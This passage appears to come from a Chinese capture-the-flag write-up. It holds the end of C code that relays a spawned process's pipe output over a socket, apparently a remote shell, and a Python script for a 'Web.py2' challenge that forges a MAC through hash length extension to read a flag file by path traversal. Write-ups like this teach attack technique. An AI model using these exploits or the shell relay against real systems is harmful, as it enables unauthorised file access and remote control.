    CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi); //创建进程


    CloseHandle(hWrite);

    for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL); //循环读取管道中数据并发送，直到管道中没有数据为
止
    memset(buffer,0,2048)){
    send(sock,buffer,strlen(buffer),0);
    }
```

```
    }
return 0;

}
```

34# Web.py2 200

> 哈希长度扩展攻击

```
## bigtang
from hashpumpy import hashpump
from base64 import b64encode,b64decode
from requests import get,Session


def get_flag():
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Encoding': 'gzip, deflate, compress',
                'Accept-Language': 'en-us;q=0.5,en;q=0.3',
                'Cache-Control': 'max-age=0',
                'Connection': 'keep-alive',
                'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}

        s = Session()
        s.headers.update(headers)
        url = "http://107.170.204.123:8088/read/index"
        link =  s.get(url).content
        filepath = link[link.index("filepath=")+9:link.index("&")]
        mac = link[link.index("mac=")+4:link.index("Link")-2]
        print "[*] filepath: " + b64decode(filepath)
        print "[*] mac     : " + mac

        new_mac = hashpump(mac,"test.txt","////////../../../../../../home/webpy2/flag.txt",16)
        print "[*] payload : " + b64encode(new_mac[1])
        print "[*] new_mac : " + new_mac[0]

        new_url = url + "?filepath=" + b64encode(new_mac[1]) + "&mac=" + new_mac[0]
        flag = s.get(new_url).content
        return flag

if __name__ == "__main__":
        flag = get_flag()
        print "[+] flag    : " + flag
```

[+] flag : Flag is in http://ctf.xidian.edu.cn:8888/web/webpy2/811cf8a2a72781ef04d50400d9cfd276.php